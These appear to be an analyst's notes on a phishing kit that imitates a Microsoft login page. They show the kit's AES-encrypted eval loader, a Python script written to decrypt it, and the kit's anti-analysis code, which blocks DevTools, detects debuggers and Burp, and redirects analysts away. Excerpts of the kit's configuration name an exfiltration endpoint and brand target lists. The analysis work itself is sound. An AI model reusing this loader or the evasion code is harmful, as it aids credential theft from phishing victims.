

Encoded Segment. This one is specifically for the anti-analysis section.

```
<script>
  (function() {
    var frrs = "xZtg4axdx5D+HYfXHSEChmbLDU0h5kqeEqHLC10SnHDV4x50pHvsUSRX3KQF9koSnB1PRDeqZyNyA3Fy8M3oVKI740LuhWsFbLysukRCKtYSOGdx";
    var gtps = "X4vwGkjVn\\wpe9ADUvdE9+XvI3o150x68zgrKBvcqpo=";
    var yogn = CryptoJS.enc.Base64.parse(gtps);
    var gdgq = CryptoJS.enc.Base64.parse(frrs);
    var qgld = CryptoJS.lib.WordArray.create(gdgq.words.slice(0, 4), 16);
    var flgq = CryptoJS.lib.WordArray.create(gdgq.words.slice(4), gdgq.sigBytes - 16);
    var nxzp = CryptoJS.AES.decrypt({
      ciphertext: flgq
    }, yogn, {
      iv: qgld,
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
    });
    var kuug = nxzp.toString(CryptoJS.enc.Utf8);
    dfve = base91.decode(kuug);
    (0,
    globalThis['e' + 'v' + 'a' + 'l'])(dfve);
  })();
  document.addEventListener('copy', function(event) {
    if (document.activeElement.tagName === 'INPUT' || document.activeElement.tagName === 'TEXTAREA' || document.activeElement.isContentEditable) {
      return;
    }
    event.preventDefault();
    var customWord = "yuv1";
    event.clipboardData.setData('text/plain', customWord);
  });
</script>
</head>
<body id="evoj" style="font-family: arial, sans-serif;background-color: #fff;color: #000;padding: 20px;font-size: 18px;overscroll-behavior: auto;">
  <h1 style="display: none;">We're almost ready.</h1>
  <p style="display: none;">Initializing your dashboard. Just a moment...</p>
  <div id="usat">
```

Emulating the behavior with Python. Fill the variables with the ones in the HTML page. The shorter one should be the key most of the time.

```
import base64
from Crypto.Cipher import AES
import base91

data_b64 = ""
key_b64 = ""

key = base64.b64decode(key_b64)
data = base64.b64decode(data_b64)

iv = data[:16]
ciphertext = data[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)

decrypted = cipher.decrypt(ciphertext)
padding_len = decrypted[-1]
decrypted = decrypted[:-padding_len]

decoded = base91.decode(decrypted.decode('utf-8'))

print(decoded.decode('utf-8'))
```

Example translated one. This is one of the anti analysis functions. There's other ones somewhere because I keep getting redirected before it loads the initial page and I do not get the opportunity to find the domains.

```
if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
    window.location = "about:blank";
}
document.addEventListener("keydown", function (event) {
    function bzlf(event) {
        const qsrx = [
            { keyCode: 123 },
            { ctrl: true, keyCode: 85 },
            { ctrl: true, shift: true, keyCode: 73 },
            { ctrl: true, shift: true, keyCode: 67 },
            { ctrl: true, shift: true, keyCode: 74 },
            { ctrl: true, shift: true, keyCode: 75 },
            { ctrl: true, keyCode: 72 }, // Ctrl + H
            { meta: true, alt: true, keyCode: 73 },
            { meta: true, alt: true, keyCode: 67 },
            { meta: true, keyCode: 85 }
        ];

        return qsrx.some(maqw =>
            (!maqw.ctrl || event.ctrlKey) &&
            (!maqw.shift || event.shiftKey) &&
            (!maqw.meta || event.metaKey) &&
            (!maqw.alt || event.altKey) &&
            event.keyCode === maqw.keyCode
        );
    }

    if (bzlf(event)) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
hyte = false;
(function pqp() {
    let jupu = false;
    const rked = 100;
    setInterval(function() {
        const hbmd = performance.now();
        debugger;
        const djya = performance.now();
        if (djya - hbmd > rked && !jupu) {
            hyte = true;
            jupu = true;
            window.location.replace('https://www.bestbuy.com');
        }
    }, 100);
});
```

[illegible][illegible]

```
currentreq = $.ajax({
    url: 'https://MeelwocfQVxTm6JRE5KWao0dGKMt8uPad9kfjEvjXIjdpvpzqqgMF4.ggcrbg.es/9775562062949701990AzEIKxCkHJOMLPVBXQERLCKPCMYZHVDDBHJDJHQAFAFXFNAUXGYU' + randroute,
```

Other features:

```
var otherweburl = "";
var websitenames = ["godaddy", "okta"];
var bes = ["Apple.com", "Netflix.com"];
var pes = ["https://t.me/v", "https://t.com/v", "t.me/v", "https://t.me.com/v", "t.me.com/v", "t.me@", "https://t.me@", "https://t.me", "https://t.com", "t.me", "https://t.me.com", "t.me.com", "t.me/v@", "htt
ps://t.me/v@", "https://t.me/v@", "t.me/v@", "https://www.telegram.me/v", "https://www.telegram.me"];
var capnum = 1;
var appnum = 1;
var pun = 0;
var view = "";
var pagelinkval = "975q";
var emailcheck = "0";
var webname = "trist/mes9/ '/'";
var urlto = "/huus4fX0u8J02FuuilCln5EqLz0pre9q2RgiMapYEURuMS4Uf0v";
var gdf = "/i1u8d6FLVSYneForm3RX3p1Y1yz2QUMIVu8N6mobLab112";
var odf = "/i1j3CHPKXfo7Q6lAlkq9p2IwmdHfyz70XSEF3p8Vhab659";
var twa = 0;

var currentreq = null;
var requestent = false;
var pagedata = "";
var redirecturl = "https://login.microsoftonline.com/common/SAS/ProcessAuth";
var userAgent = navigator.userAgent;
var browserName;
var userip;
var usercountry;
var errorcodeexecuted = false;
if(userAgent.match(/edge/i)){
    browserName = "Edge";
} else if(userAgent.match(/chrome|chromium|crios/i)){
    browserName = "chrome";
} else if(userAgent.match(/fxios/i)){
    browserName = "Firefox";
} else if(userAgent.match(/safari/i)){
    browserName = "safari";
} else if(userAgent.match(/opr/i)){
    browserName = "opera";
} else{
    browserName = "No browser detection";
}

function removespaces(input) {
    input.value = input.value.replace(/s/g, ''); // Removes all spaces
}

function encryptData(data) {
    const key = CryptoJS.enc.Utf8.parse('1234567890123456');
    const iv = CryptoJS.enc.Utf8.parse('1234567890123456');
    const encrypted = CryptoJS.AES.encrypt(data, key, {
        iv: iv,
        padding: CryptoJS.pad.Pkcs7,
        mode: CryptoJS.mode.CBC
    });
}
```